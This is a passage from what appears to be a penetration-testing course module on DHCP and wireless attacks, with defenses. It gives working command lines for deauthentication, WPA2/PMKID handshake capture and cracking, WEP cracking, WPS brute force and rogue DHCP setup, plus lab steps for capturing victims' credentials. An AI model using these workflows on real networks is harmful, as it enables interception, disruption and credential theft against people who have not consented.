DHCP (Dynamic Host Configuration Protocol) automates the assignment of IP addresses to devices joining a network. When a device connects, it broadcasts a DHCPDISCOVER message (since it has no IP address yet and cannot send a directed packet). DHCP servers on the segment respond with DHCPOFFER messages containing offered IP addresses and configuration parameters. The device selects an offer and broadcasts a DHCPREQUEST accepting it. The selected server responds with a DHCPACK confirming the lease.

The configuration delivered by DHCP includes not just the IP address but also the subnet mask, default gateway, DNS server addresses, lease duration, and potentially other parameters. The DNS server and default gateway settings are particularly security-critical: a device accepts these without authentication and uses them for all subsequent network communication.

DHCP Starvation

DHCP starvation exhausts a DHCP server's address pool by sending a flood of DHCPDISCOVER requests with spoofed MAC addresses. The DHCP server allocates an IP address for each request (since each appears to be a different device), quickly exhausting the available pool. New legitimate devices joining the network cannot obtain IP addresses — they fail to connect.

Yersinia automates DHCP starvation: in the graphical interface, select DHCP and launch the "sending DISCOVER packet" attack. DHCPig is another tool specifically designed for DHCP starvation.

Rogue DHCP Server Deployment

The second phase of the DHCP attack, often following starvation of the legitimate server, is deploying a rogue DHCP server. The attacker runs their own DHCP server that responds to DHCPDISCOVER requests before the legitimate server can. Since the legitimate server's pool is exhausted (due to the preceding starvation attack, or because the attacker's responses are faster), clients accept the rogue server's offers.

The rogue DHCP server assigns valid IP addresses (from the subnet range) but sets the default gateway to the attacker's machine's IP and the DNS server to the attacker's machine's IP. Every device that accepts this DHCP lease will route all internet traffic through the attacker (enabling on-path position) and resolve all DNS queries through the attacker (enabling DNS poisoning).

Dnsmasq can function as a rogue DHCP server: configure /etc/dnsmasq.conf with the target subnet's DHCP range, set the router option to the attacker's IP, set the DNS option to the attacker's IP, and run dnsmasq -d. Metasploit's auxiliary/server/dhcp module provides another option.

DHCP Snooping as the Defense

DHCP snooping is a switch security feature that designates specific ports as "trusted" (connected to legitimate DHCP servers) and all other ports as "untrusted." DHCP server messages (OFFER, ACK, NAK) received on untrusted ports are dropped. Client messages (DISCOVER, REQUEST) are logged and can be rate-limited to prevent starvation. Dynamic ARP Inspection (DAI) builds on DHCP snooping's binding table to validate ARP traffic, preventing ARP poisoning attacks against DHCP snooping-protected devices.

5.1.24 Practice — DHCP Starvation and Rogue DHCP Servers

Lab Setup for DHCP Attack Practice

A practical DHCP attack lab requires three components: a legitimate DHCP server (the router or a dedicated DHCP server VM), a Kali Linux attacker VM on the same network segment, and one or more victim VMs that will obtain DHCP leases.

Configure all VMs on the same Internal Network or Host-Only network adapter in VirtualBox. The legitimate DHCP server can be a pfSense VM (a free, open-source router/firewall appliance) or a Linux VM running dnsmasq with DHCP enabled.

Executing the Attack

Start Wireshark on Kali capturing the network interface — filter for DHCP traffic with the display filter bootp (DHCP uses the BOOTP protocol). On a victim VM, release the current DHCP lease (Windows: ipconfig /release, Linux: dhclient -r) and observe the DHCPDISCOVER broadcast in Wireshark.

Now on Kali, run the DHCP starvation attack with Yersinia for 30-60 seconds. Observe the DHCP server's address pool depleting in its configuration. Release the victim's lease again and request a new one — it should either fail (no addresses available) or potentially receive an offer from the rogue server if deployed.

Deploy the rogue DHCP server on Kali and request a new DHCP lease on the victim. Observe in Wireshark which DHCP server's offer the victim accepts. If the rogue server's offer is accepted, confirm on the victim machine that the default gateway and DNS server are now set to the attacker's IP.

Observing the Impact

With the on-path position established via rogue DHCP, enable IP forwarding on Kali (echo 1 > /proc/sys/net/ipv4/ip_forward), start Bettercap or Ettercap for traffic capture, and browse the web on the victim machine. Observe credentials and traffic appearing in Kali's capture. This demonstrates the complete attack chain from DHCP compromise to credential capture.

Summary

Module 5.1 has covered the complete landscape of network-based vulnerability exploitation, spanning from legacy protocol weaknesses in SMB and FTP to sophisticated Active Directory attacks like Kerberoasting, from Layer 2 ARP poisoning to BGP route manipulation, and from DoS flooding to surgical VLAN segmentation bypass.

The unifying theme is that every attack exploits the gap between a protocol's design assumptions and the adversarial reality of modern networks. Windows name resolution was designed for convenience in trusted networks — attackers use it to capture credentials. Kerberos was designed to eliminate plaintext password transmission — attackers extract encrypted service tickets and crack them offline. DHCP was designed to simplify network configuration — attackers hijack it to redirect all client traffic.

Effective defense against these attacks requires understanding them deeply enough to detect their signatures, configure controls that prevent their prerequisites, and build monitoring that identifies their behavioral patterns. Every detection rule, every Group Policy setting, and every network segmentation decision described in this module's defensive sections is directly derived from understanding the attack it prevents.

The path from understanding these attacks in a lab to defending real networks runs through deliberate practice, careful documentation, and the habit of asking not just "how does this attack work" but "what assumption does this attack break, and how do I make that assumption safe?"

— End of Module 5, Section 5.1 —

MODULE 5.2: Exploiting Wireless Vulnerabilities

5.2.1 Overview
5.2.2 Rogue Access Points
5.2.3 Evil Twin Attacks
5.2.4 Disassociation (Deauthentication) Attacks
5.2.5 Preferred Network List Attacks
5.2.6 Wireless Signal Jamming and Interference
5.2.7 War Driving
5.2.8 Initialization Vector (IV) Attacks and Unsecured Wireless Protocols
5.2.9 KARMA Attacks
5.2.10 Fragmentation Attacks
5.2.11 Practice - IV, Unsecured Wireless, KARMA, and Fragmentation Attacks
5.2.12 Credential Harvesting
5.2.13 Bluejacking and Bluesnarfing
5.2.14 Bluetooth Low Energy (BLE) Attacks
5.2.15 Radio-Frequency Identification (RFID) Attacks
5.2.16 Password Spraying
5.2.17 Exploit Chaining
5.2.18 Practice - Wireless Attacks

5.2.1 Overview

Wireless networks are fundamentally different from wired networks in one critical way: the transmission medium is open air. When you send data over an Ethernet cable, that signal stays inside the cable — a physical boundary exists between your data and the outside world. When you send data over Wi-Fi, that signal travels in every direction simultaneously, passing through walls, floors, ceilings, and the exterior of your building into the parking lot, the street, and neighboring buildings.

This physical characteristic — that radio waves do not respect property boundaries — is the single most important concept for understanding wireless security. Every attack in this module flows from this one reality. An attacker does not need physical access to your building. They do not need to plug into your network. They simply need to be within radio range, which for modern Wi-Fi can be hundreds of meters with a directional antenna.

Think of a wired network like a telephone conversation in a soundproof room — you have to physically enter the room to eavesdrop. A wireless network is like having that same conversation in an open field — anyone within earshot can listen.

The Radio Frequency Landscape

Wi-Fi operates on specific radio frequency bands. The two primary bands are 2.4 GHz and 5 GHz, with 6 GHz being added for Wi-Fi 6E. These frequencies determine important physical characteristics that affect both usability and security.

The 2.4 GHz band has better range and wall penetration — signals travel farther and pass through physical obstacles more easily. This makes 2.4 GHz networks easier to detect and target from a distance. The 5 GHz band has shorter range but higher data throughput. It does not penetrate obstacles as well, which actually provides a slight security benefit by limiting the physical area where the signal is accessible. However, a directional antenna can overcome this limitation.

Within each band, channels divide the available frequency spectrum. In 2.4 GHz, channels 1-14 are available (varying by country), with channels 1, 6, and 11 being non-overlapping. An attacker scanning for networks can hop between channels to discover all active networks in the area.

Wi-Fi Standards and Security Evolution

Understanding the Wi-Fi standards timeline helps explain why certain attacks exist and which networks remain vulnerable.

IEEE 802.11b (1999) introduced Wi-Fi at 2.4 GHz with speeds up to 11 Mbps. Security was WEP — now completely broken. IEEE 802.11g (2003) increased speeds to 54 Mbps, still primarily using WEP. IEEE 802.11n (2009) introduced MIMO antennas and speeds up to 600 Mbps with WPA2 becoming standard. IEEE 802.11ac (2013) focused on 5 GHz with gigabit speeds. IEEE 802.11ax (Wi-Fi 6, 2019) introduced OFDMA for better multi-device performance and WPA3 support.

The security protocols — WEP, WPA, WPA2, WPA3 — are separate from the 802.11 standards but critical to the attack landscape. Each represents a generation of security that addressed the weaknesses of the previous generation, imperfectly.

5.2.2 Rogue Access Points

What Is a Rogue Access Point?

A rogue access point is any wireless access point connected to a network without the authorization of the network administrator. The word "rogue" means unauthorized — it does not necessarily mean malicious, though it often is.

Imagine a company employee who finds the wired connection at their desk inconvenient. They bring in a consumer Wi-Fi router from home, plug it into the walled Ethernet port, and start broadcasting their own wireless network. From their perspective this seems harmless. What they have actually done is punched a hole in the company's network perimeter. The IT department may have carefully configured the corporate wireless network with WPA2-Enterprise and 802.1X authentication, but this employee's personal router is broadcasting with the default password "admin" — or no password at all. Anyone within range can now connect to the corporate network through this unauthorized entry point, bypassing every security control the company has in place.

This is the rogue access point threat in its accidental form. The deliberate form is far more dangerous: an attacker brings a rogue access point into or near a building, connects it to the network through a compromised Ethernet jack (perhaps in a conference room or reception area where public network access is available), and uses it as a persistent backdoor into the corporate network.

Physical Deployment Methods

Rogue access points in targeted attacks can be deployed in several creative ways. A small device like a Raspberry Pi with a Wi-Fi adapter can be hidden inside a ceiling tile, under a desk, or inside a fake electrical outlet. These devices draw power from nearby sources and broadcast wirelessly while forwarding traffic through a wired connection. The attacker can access the device remotely — either through the network connection it creates or through a cellular modem — without ever returning to the physical location.

How the Exploitation Works

Once a rogue AP is deployed and connected to the internal network, an attacker gains everything that a legitimate employee on that network would have: visibility of internal services, ability to communicate with internal systems, and a position from which to launch further attacks. Depending on network segmentation, this might be a restricted guest segment or it might be the full corporate network with access to file servers, databases, and internal applications.

The rogue AP also provides wireless access to the internal network for the attacker or accomplices. If the rogue AP is broadcasting an open network or one with a known password, multiple attackers can connect wirelessly from outside the building without needing to repeat the physical access step.

Detection and Defense

Organizations detect rogue access points through Wireless Intrusion Detection Systems (WIDS) that continuously scan the air for unauthorized transmissions. Modern enterprise wireless controllers from vendors like Cisco, Aruba, and Meraki include built-in rogue AP detection. When a wireless signal is detected that does not correspond to an authorized access point, the system raises an alert.

802.1X port authentication on every wired port prevents unauthorized devices from connecting to the network — even if someone plugs in a rogue AP, it cannot communicate on the network without authenticating. Regular physical security audits and scanning of wired port utilization also help detect unauthorized devices.

5.2.3 Evil Twin Attacks

The Concept

An Evil Twin attack creates a fraudulent access point that mimics a legitimate one. The goal is to get victims to connect to the attacker's access point instead of the real one, placing the attacker in a man-in-the-middle position on all of that victim's wireless communications.

The "Evil Twin" name comes from the idea that the fake network is the evil version of the legitimate twin — identical in appearance, but with malicious intent. Unlike a rogue access point (which connects to the real network), an Evil Twin intercepts traffic between the victim and the internet.

How Evil Twin Attacks Work — Step by Step

Step one — Reconnaissance: The attacker surveys the target environment, identifying the SSID (network name) and BSSID (the access point's MAC address) of the legitimate wireless network they want to impersonate. They also note the channel the legitimate network operates on.

Step two — Creating the Evil Twin: The attacker configures their own wireless hardware to broadcast on the same SSID as the legitimate network. Critically, the attacker typically broadcasts at higher power than the legitimate access point, so victims receive a stronger signal from the fake network.

Step three — Forcing disconnection: To ensure victims connect to the Evil Twin rather than the legitimate network, the attacker typically launches a deauthentication attack against the legitimate access point. This forcibly disconnects clients. When clients try to reconnect, they see the familiar network name and connect to whichever access point has the strongest signal — often the attacker's Evil Twin.

Step four — Credential capture: When a victim connects to the Evil Twin, they may be presented with a captive portal — a web page that asks for the Wi-Fi password "to complete connection." Many users enter their password without suspicion, directly giving it to the attacker. Even without a captive portal, all unencrypted traffic (HTTP) from the connected victim passes through the attacker's device and can be read and logged.

Step five — Proxying: The attacker's device forwards the victim's traffic to the real internet (through a cellular connection or another wireless connection), so the victim's browsing appears to work normally. The victim has no indication they are being intercepted.

WPA-Enterprise Evil Twin — A Special Threat

When targeting networks using WPA-Enterprise (802.1X authentication with RADIUS), the Evil Twin attack is particularly powerful. These networks use credentials (username and password) rather than a pre-shared key. When a victim's device connects to the Evil Twin and their operating system automatically attempts authentication using their saved credentials, the Evil Twin's hostapd-wpe captures the NTLM hash of their Active Directory credentials. These hashes can be cracked offline to reveal the plaintext password, granting domain access.

This is especially dangerous because employees' devices are configured to automatically connect to the corporate wireless network. When the Evil Twin broadcasts the same SSID, the device connects automatically — without any user interaction — and attempts authentication, leaking credential hashes without the user ever knowing.

Tools

hostapd-wpe is a modified version of hostapd designed for Evil Twin attacks with built-in support for capturing WPA-Enterprise credentials. Airbase-ng from the Aircrack-ng suite creates a software access point from any wireless card capable of injection mode. Wifiphisher is a specialized tool that automates the entire Evil Twin attack process, including deauthentication, fake AP creation, and a library of realistic-looking captive portal pages.

5.2.4 Disassociation (Deauthentication) Attacks

Understanding 802.11 Management Frames

To understand why deauthentication attacks work, you need to understand how Wi-Fi connections are managed at the protocol level. The 802.11 standard defines three types of frames: data frames (carrying actual data), control frames (managing channel access), and management frames (handling connection establishment and maintenance).

Management frames include beacons (access points periodically announcing their existence), authentication frames (establishing a connection), and deauthentication/disassociation frames (terminating a connection).

The critical security flaw in 802.11 before the 802.11w amendment: management frames were not authenticated. Any device could send a management frame claiming to be from any source. In particular, any device could send a deauthentication frame claiming to be from a legitimate access point, telling a client to disconnect — and the client would obey without verifying the frame's authenticity.

The Attack Mechanism

A deauthentication attack exploits this lack of frame authentication. The attacker sends forged deauthentication frames to clients, spoofing the source MAC address to appear as if the frames come from the legitimate access point. The clients receive these frames and interpret them as legitimate instructions from the AP to disconnect. They obediently terminate their connections.

The attacker can target a specific client (by using their MAC address as the destination) or broadcast deauthentication frames targeting all clients simultaneously (using the broadcast MAC address FF:FF:FF:FF:FF:FF as the destination).

The attack is trivially easy to execute with freely available tools and requires only a wireless adapter capable of packet injection. It requires no authentication credentials and no prior access to the network.

Why Attackers Use Deauthentication

Deauthentication attacks serve as enablers for other attacks rather than being damaging in themselves. The primary uses are:

Forcing WPA2 handshake capture: When clients reconnect after being deauthenticated, they perform the four-way handshake, which the attacker captures for offline cracking.

Creating pressure that drives victims to Evil Twin: As described in 5.2.3, continuous deauthentication from the real AP drives clients to connect to the stronger-signal Evil Twin.

Denial of service: Continuously deauthenticating clients makes the wireless network unusable — useful as a distraction or competitive sabotage.

Tools and Technique

Aireplay-ng from the Aircrack-ng suite performs deauthentication attacks: aireplay-ng --deauth 0 -a [AP_BSSID] -c [client_MAC] wlan0mon. The --deauth 0 sends a continuous stream of deauth frames, -a specifies the access point's BSSID to spoof, and -c specifies the target client. MDK3 and MDK4 are alternative tools for more sophisticated denial-of-service scenarios.

802.11w — The Defense

IEEE 802.11w (Management Frame Protection) addresses the lack of management frame authentication by cryptographically protecting management frames including deauthentication and disassociation frames. When MFP is enabled, a client that receives a deauthentication frame can verify its authenticity. Forged deauth frames from an attacker who does not possess the network keys will fail verification and be ignored.

WPA3 mandates management frame protection, making deauthentication attacks ineffective against WPA3 networks.

5.2.5 Preferred Network List Attacks

What Is the Preferred Network List?

Every wireless device maintains a list of networks it has connected to in the past. On Windows it is called Preferred Networks, on Android Saved Networks, on iOS the list of known Wi-Fi networks. The common technical term is PNL (Preferred Network List).

The purpose is convenience: when you connect to your home Wi-Fi once and walk away, then return, your device automatically reconnects. The device periodically sends probe request frames — broadcast messages asking "Is anyone out there advertising the network named X?" — for each network on its PNL. When a matching network responds, the device connects.

How Attackers Exploit the PNL

The attack is elegant in its simplicity. An attacker runs software that passively listens for probe request frames from nearby devices. These probe requests reveal the names of every network that device has ever connected to — home networks, coffee shop networks, hotel networks, corporate networks. This is a significant privacy leak that reveals the history of where a device has been.

More dangerously, the attacker can respond to these probe requests by broadcasting a network with the same SSID the device is probing for. The device, believing it has found its saved network, automatically connects — without any user interaction. The attacker now has a MITM position on that device's wireless traffic.

Consider a practical example. An employee commutes by train and has previously connected to free Wi-Fi at a coffee shop called "Starbucks WiFi." Their laptop sends probe requests for "Starbucks WiFi" every few minutes while on the train. The attacker, sitting nearby, sees this probe and immediately broadcasts a network named "Starbucks WiFi." The victim's laptop automatically connects. The attacker now intercepts all of that laptop's unencrypted traffic.

The particularly insidious aspect is that PNL attacks require no action from the victim and exploit trusted network connections — the victim's device is doing exactly what it was designed to do.

Defense

The most effective defense is keeping the PNL short. Remove saved networks you no longer use regularly. On public networks, configure the device to "forget" the network after leaving rather than saving it permanently. Disabling automatic reconnection to open networks removes the most dangerous category of PNL attack targets, since the attacker can impersonate these networks without needing to know any credentials.

5.2.6 Wireless Signal Jamming and Interference

How Wi-Fi Signals Can Be Disrupted

Wi-Fi operates on shared radio frequency spectrum. If the 2.4 GHz or 5 GHz frequencies are flooded with noise or competing signals of sufficient strength, wireless communication becomes impossible. This is the principle behind jamming attacks — overwhelming the target frequency band with radio frequency noise.

Radio frequency jamming at sufficient power levels is illegal in most jurisdictions — classified as interference with communications and subject to significant criminal penalties. However, understanding jamming is important for security professionals because it represents a denial-of-service threat to wireless infrastructure.

Intentional Jamming

A dedicated RF jammer broadcasts noise on the target frequency band at sufficient power to overwhelm legitimate Wi-Fi signals. Devices within range cannot communicate because the background noise drowns out the actual data signals. Unlike the deauthentication attack (which targets specific protocol behaviors), jamming is a physical layer attack — it works regardless of the security protocol in use, against WPA3 just as effectively as against WEP.

Protocol-Level Denial of Service

Beyond physical jamming, several protocol-level attacks create effective denial of service on wireless networks without requiring an RF jammer. Beacon flooding sends thousands of fake beacon frames advertising non-existent networks, overwhelming clients' ability to find the real network. Authentication flooding sends massive numbers of authentication requests to an access point, exhausting its state table. EAPOL flooding overwhelms the 802.1X authentication process with fake EAPOL frames. These attacks can be launched with standard wireless hardware and tools like MDK3/MDK4.

Unintentional Interference and Detection

Not all wireless interference is malicious. The 2.4 GHz band is shared with microwave ovens, baby monitors, Bluetooth devices, cordless phones, and neighboring Wi-Fi networks. Security professionals investigating wireless issues must distinguish between malicious jamming and ordinary interference.

Tools for analyzing wireless interference include spectrum analyzers and software tools like Wi-Spy combined with Chanalyzer that provide spectrum analysis from a USB device. Identifying unexpected high-power signals on Wi-Fi frequencies is the first step in determining whether jamming is occurring.

5.2.7 War Driving

The Concept and History

War driving is the practice of driving (or walking, flying, or moving by any means) through an area while scanning for wireless networks. The term dates from the early 2000s and combines "war dialing" (an older technique of calling phone numbers sequentially to find modems) with the act of driving.

War driving serves legitimate purposes in security assessments: mapping an organization's wireless footprint to identify unauthorized access points or networks that extend beyond the intended coverage area. The first large-scale war driving surveys in the early 2000s revealed that the majority of Wi-Fi networks were either completely unsecured or using WEP — data that was pivotal in pushing organizations toward better security practices.

Modern War Driving

Modern war driving typically involves a laptop or Raspberry Pi with a wireless adapter and GPS receiver, running software like Kismet or Wigle. Kismet passively captures 802.11 frames and logs discovered networks with their SSID, BSSID, security configuration, signal strength, and GPS coordinates.

Wigle.net is a crowdsourced database of wireless networks collected through war driving worldwide. Users upload scan results, and the database can be queried to find historical records of networks at specific locations — useful for OSINT (locating where a specific network has been seen, identifying all networks at a target location).

War flying extends war driving to drones and aircraft, achieving wider coverage. Security researchers have demonstrated war flying over large areas to survey wireless network density. More concerningly, attackers have used drones with wireless hardware to access networks in areas that are physically inaccessible — rooftops or upper floors of buildings where ground-level attacks would not reach.

What War Driving Reveals

For a penetration tester assessing an organization, war driving around the building reveals: which wireless networks the organization broadcasts and from where (signal leakage mapping), any unauthorized rogue access points, the security configuration of each network (open, WEP, WPA2, WPA3), access point models and firmware versions (which may have known vulnerabilities), and neighboring networks that might create interference or confusion.

Tools

Kismet: kismet --interface wlan0 starts passive scanning, logging all discovered networks to a SQLite database. Airodump-ng: airodump-ng wlan0mon shows all visible networks with SSID, BSSID, encryption type, channel, and signal strength. Both tools can be combined with a GPS device for geographic logging.

5.2.8 Initialization Vector (IV) Attacks and Unsecured Wireless Protocols

WEP — Why It Failed

WEP (Wired Equivalent Privacy) was the original security protocol for 802.11 wireless networks, introduced in 1997. Its name reflected the goal: making wireless networks as secure as wired networks. By the early 2000s, WEP was completely broken — not improved or degraded, but fundamentally and irrecoverably broken. Understanding why WEP failed is essential for understanding IV attacks and for appreciating why proper cryptographic design matters.

WEP used RC4 as its encryption algorithm — a stream cipher that generates a pseudorandom keystream that is XORed with the plaintext to produce ciphertext. RC4 itself is not inherently broken. The problem was how WEP used it.

The Initialization Vector Problem — Explained Simply

A stream cipher like RC4 must never use the same key to encrypt two different plaintexts. Imagine you have a secret codebook that substitutes each letter with a symbol. If you always use the same codebook for every message, an eavesdropper who collects enough messages can eventually figure out the code — because the same letter will always become the same symbol, revealing patterns.

WEP addressed this by adding a 24-bit Initialization Vector (IV) — a random number prepended to the WEP key for each packet. This means each packet theoretically uses a slightly different key. With a 24-bit IV, there are 16,777,216 possible values.

This sounds sufficient until you consider packet volumes. A moderately loaded network transmits hundreds of packets per second. With 16.7 million possible IVs and random selection, by the birthday paradox, IVs begin repeating after approximately 5,000 packets on average — on a busy network, this happens within minutes. When two packets are encrypted with the same IV (and therefore the same keystream), an attacker who captures both can XOR them together to eliminate the keystream, revealing information about both plaintexts.

The FMS Attack — Statistical Cryptanalysis

In 2001, researchers Fluhrer, Mantin, and Shamir published a paper (the FMS attack) describing a weakness in RC4's key scheduling algorithm. Certain IVs — called "weak IVs" — leak information about the key bytes when used. By collecting enough packets encrypted with weak IVs and performing statistical analysis on the first bytes of each keystream, the WEP key can be recovered.

This moved WEP cracking from theoretical to practical: collecting enough traffic (originally millions of packets, reduced to tens of thousands with improved techniques) and running cryptanalysis would recover the WEP key regardless of its length. The PTW attack (2007) further reduced the requirement to approximately 40,000 packets for a 40-bit WEP key — collectable in minutes on a busy network.

Tools like Aircrack-ng automate this entire process: capture packets with Airodump-ng, inject ARP request packets with Aireplay-ng (which forces the AP to respond with known-plaintext packets, dramatically accelerating IV collection), and run Aircrack-ng against the capture file to recover the key.

WPA and WPA2 — Improvements and Remaining Weaknesses

WPA (2003) was introduced as an emergency fix for WEP while WPA2 was being finalized. WPA used TKIP (Temporal Key Integrity Protocol) which addressed WEP's IV reuse problem with a 48-bit sequence counter and added MIC (Message Integrity Check) to detect tampering.

WPA2 (2004) replaced TKIP with CCMP using AES encryption — a significant security improvement. WPA2 became mandatory for Wi-Fi certification in 2006.

WPA2's primary remaining weakness in Personal mode (WPA2-PSK) is the four-way handshake. When a client authenticates to a WPA2-PSK network, they perform a four-way handshake with the access point that establishes session keys. This handshake does not transmit the PSK but uses it in key derivation. An attacker who captures this handshake can perform offline dictionary attacks: for each candidate password, derive the PMK (Pairwise Master Key), then verify against the captured handshake.

Capturing the handshake: Use Airodump-ng to capture traffic on the target network's channel, then use Aireplay-ng to send deauthentication frames forcing clients to reconnect. When a client reconnects, the four-way handshake is captured. Crack with Aircrack-ng: aircrack-ng -w wordlist.txt capture.cap. Hashcat is significantly faster for GPU-accelerated cracking: hashcat -m 22000 capture.hc22000 wordlist.txt.

WPA3 and Its Improvements

WPA3 (2018) addressed the four-way handshake vulnerability by replacing PSK authentication with SAE (Simultaneous Authentication of Equals, also called Dragonfly). SAE is a zero-knowledge proof protocol that does not transmit anything from which the password can be derived offline — even if an attacker captures the entire authentication exchange, they cannot perform offline dictionary attacks. Each authentication attempt requires active interaction with the network.

WPA3 also provides forward secrecy: even if an attacker records all encrypted traffic and later compromises the network password, they cannot decrypt past sessions, because each session's keys are derived independently and not stored.

WPA3 vulnerabilities exist but are significantly more difficult to exploit: side-channel attacks against SAE implementations, downgrade attacks forcing WPA2 in mixed-mode networks, and denial-of-service conditions.

PMKID Attack

The PMKID attack (discovered 2018) allows capturing a value from the access point that can be used for offline WPA2 password cracking without capturing a four-way handshake. The PMKID is included in some EAPOL frames and is derived from the PMK (which is derived from the password). This means an attacker can request this value from the access point directly — without needing any clients to be connected or disconnected.

hcxdumptool captures PMKIDs: hcxdumptool -i wlan0mon -o output.pcapng --enable_status=1. Convert and crack: hcxpcapngtool output.pcapng -o hash.hc22000 then hashcat -m 22000 hash.hc22000 wordlist.txt.

WPS Attacks

WPS (Wi-Fi Protected Setup) was designed to make it easier to add devices to a WPA2 network without typing a long password. One WPS method uses an 8-digit PIN. Researchers in 2011 discovered that the WPS PIN verification is split into two 4-digit halves that are verified separately — reducing the effective search space from 10^8 to 10^4 + 10^4 (20,000 guesses). This makes brute-forcing the WPS PIN trivial.

Reaver is the primary tool for WPS PIN attacks: reaver -i wlan0mon -b [BSSID] -vv. On routers without rate limiting or lockout, this takes 4-10 hours. WPS should be disabled on all access points as a security baseline.

5.2.9 KARMA Attacks

The KARMA Concept

KARMA (Karma Attacks Radio Machines Automatically) exploits the probe request behavior of wireless devices to create an automated "I am whatever you're looking for" rogue access point.

Recall from 5.2.5 that wireless devices broadcast probe requests asking "Is anyone out there with the network name X?" for each network in their Preferred Network List. Traditional Evil Twin attacks require the attacker to know the SSID they want to impersonate before setting up the rogue AP. KARMA eliminates this requirement entirely.

A KARMA-enabled access point responds to any probe request it receives, regardless of the requested SSID. When a client's device sends a probe request for "HomeNetwork_5G", the KARMA AP responds "Yes, I am HomeNetwork_5G." When the next client probes for "Airport_Free_WiFi", the KARMA AP responds "Yes, I am Airport_Free_WiFi." For open networks (no password required), the client will automatically connect without any user interaction.

Why KARMA Is So Effective

KARMA attacks are particularly effective in crowded public spaces: airports, coffee shops, train stations, conference centers. In these environments, dozens or hundreds of devices are constantly sending probe requests for their home networks, previous hotel Wi-Fi, coffee shop networks — every open network they have ever connected to. A single KARMA access point can simultaneously impersonate hundreds of different networks, automatically establishing a MITM position for any device that auto-connects.

The attack is passive in its trigger — it simply responds to what clients ask for rather than requiring the attacker to know anything in advance. Combined with automatic connection behavior for open networks, KARMA attacks can capture device traffic without any user interaction whatsoever.

KARMA in Modern Environments

Modern operating systems have partially mitigated KARMA attacks. iOS devices send randomized MAC addresses and in some cases send undirected probe requests (not specifying the SSID). Android similarly has improved probe request privacy. However, many devices still send directed probes for some saved networks, and randomization is not universal. Additionally, KARMA remains highly effective against open networks — even with directed probe improvement, if a device probes for an open network, it will automatically connect to a KARMA AP without any prompt.

Tools

Hostapd-wpe with KARMA support automatically responds to all probe requests. The Hak5 Wi-Fi Pineapple — a commercial device specifically designed for wireless security testing — includes KARMA functionality as a core feature, making it a popular tool for authorized wireless penetration testing.

5.2.10 Fragmentation Attacks

What Is a Fragmentation Attack?

Wireless fragmentation attacks target the WEP encryption protocol specifically, exploiting its fragmentation mechanism to obtain keystream material that can be used to inject arbitrary packets into a WEP-protected network.

The Mechanism — Step by Step

WEP allows packets to be fragmented — split into smaller pieces for transmission. Each fragment is encrypted independently using RC4 with the combination of the WEP key and a per-fragment IV.

When the attack captures even a small encrypted fragment, if the attacker knows the plaintext of that fragment (ARP packets have a known, predictable structure), they can recover the keystream used to encrypt it: plaintext XOR ciphertext = keystream.

With a small piece of keystream, the attacker can generate a new encrypted packet. By sending this packet and observing whether the access point accepts it (indicates valid encryption) or rejects it, the attacker can iteratively extend their knowledge of the keystream until they have 1500 bytes of keystream — enough to encrypt a full-size Ethernet packet.

This 1500-byte PRGA (Pseudo-Random Generation Algorithm output) becomes a powerful tool: the attacker can now inject arbitrary packets into the WEP-protected network without knowing the actual WEP key. They can generate and inject ARP requests, DNS queries, or other packets that elicit responses, and those responses provide more keystream, enabling further traffic injection and eventually WEP key recovery.

Significance

The fragmentation attack demonstrates that WEP's problems extend beyond simple IV collection attacks. Even in scenarios where IV collection might be slow, the fragmentation attack can bootstrap an attacker's capabilities using very limited captured traffic. Aireplay-ng implements the fragmentation attack: aireplay-ng --fragment -b [BSSID] -h [your_MAC] wlan0mon.

5.2.11 Practice — IV, Unsecured Wireless, KARMA, and Fragmentation Attacks

Setting Up a Wireless Lab

Practicing wireless attacks requires specific hardware. The most important requirement is a wireless adapter that supports monitor mode and packet injection. Monitor mode allows the adapter to capture all 802.11 frames on the air, not just those addressed to it. Packet injection allows sending arbitrary 802.11 frames.

Not all wireless adapters support these modes — most built-in laptop Wi-Fi adapters do not. Popular choices for penetration testing include the Alfa AWUS036ACH (dual-band, excellent range), Alfa AWUS036NHA (2.4 GHz, long-range), and TP-Link TL-WN722N v1 (the v1 specifically — later versions changed chipsets and removed injection support).

Enabling Monitor Mode

Enable monitor mode on the adapter: airmon-ng check kill (kills interfering processes like NetworkManager), then airmon-ng start wlan0 (creates a monitor mode interface, typically named wlan0mon). Verify with iwconfig wlan0mon — the mode should show "Monitor."

Complete WPA2 Handshake Capture and Crack Workflow

Start capturing on the target network's channel: airodump-ng --bssid [TARGET_BSSID] --channel [CH] -w capture wlan0mon. In a second terminal, force a reconnection to capture the handshake: aireplay-ng --deauth 5 -a [TARGET_BSSID] wlan0mon. Watch the airodump-ng terminal for "WPA handshake: [BSSID]" in the top right — this confirms capture. Stop airodump-ng and crack: aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap.

For GPU cracking with Hashcat, convert the capture first: hcxpcapngtool capture-01.cap -o hash.hc22000 then hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule.

WEP Cracking Workflow

For a WEP network (set up in lab only): start airodump-ng targeting the network and collecting IVs: airodump-ng --bssid [BSSID] --channel [CH] -w wep_capture wlan0mon. Speed up IV collection with ARP replay: associate with the network first (aireplay-ng --fakeauth 0 -a [BSSID] -h [your_MAC] wlan0mon) then inject ARP packets (aireplay-ng --arpreplay -b [BSSID] -h [your_MAC] wlan0mon). Once 50,000+ IVs are collected, crack: aircrack-ng wep_capture-01.cap.

5.2.12 Credential Harvesting

What Is Credential Harvesting in Wireless Context?

In the wireless attack context, credential harvesting refers to techniques specifically used to capture authentication credentials — usernames, passwords, Wi-Fi keys — from victims connecting to or attempting to connect to wireless networks. Wireless-specific techniques are particularly interesting because they can capture credentials without the victim ever realizing they have been compromised.

Captive Portal Credential Harvesting

A captive portal is the web page that appears when you connect to a public Wi-Fi network — hotel Wi-Fi that requires your room number, coffee shop Wi-Fi that requires email registration. Attackers create fake captive portals as part of Evil Twin and rogue AP attacks.

When a victim connects to the attacker's access point, a realistic-looking captive portal appears — mimicking the interface of Starbucks, AT&T, or whatever network the victim expects to see. The victim enters their credentials. The attacker captures these credentials directly. Wifiphisher has a library of pre-built captive portal templates specifically for this purpose, including realistic imitations of common networks and router firmware interfaces that ask victims to "re-enter their Wi-Fi password due to a firmware update."

WPA-Enterprise Credential Harvesting

For enterprise networks using WPA-Enterprise (802.1X), when a client device connects to an Evil Twin access point and attempts automatic authentication using saved credentials, the authentication occurs over EAP (Extensible Authentication Protocol). Depending on the EAP method in use, the attacker captures NTLM hashes (from MSCHAPv2-based methods like PEAP and EAP-TTLS), which can be cracked offline to recover Active Directory passwords.

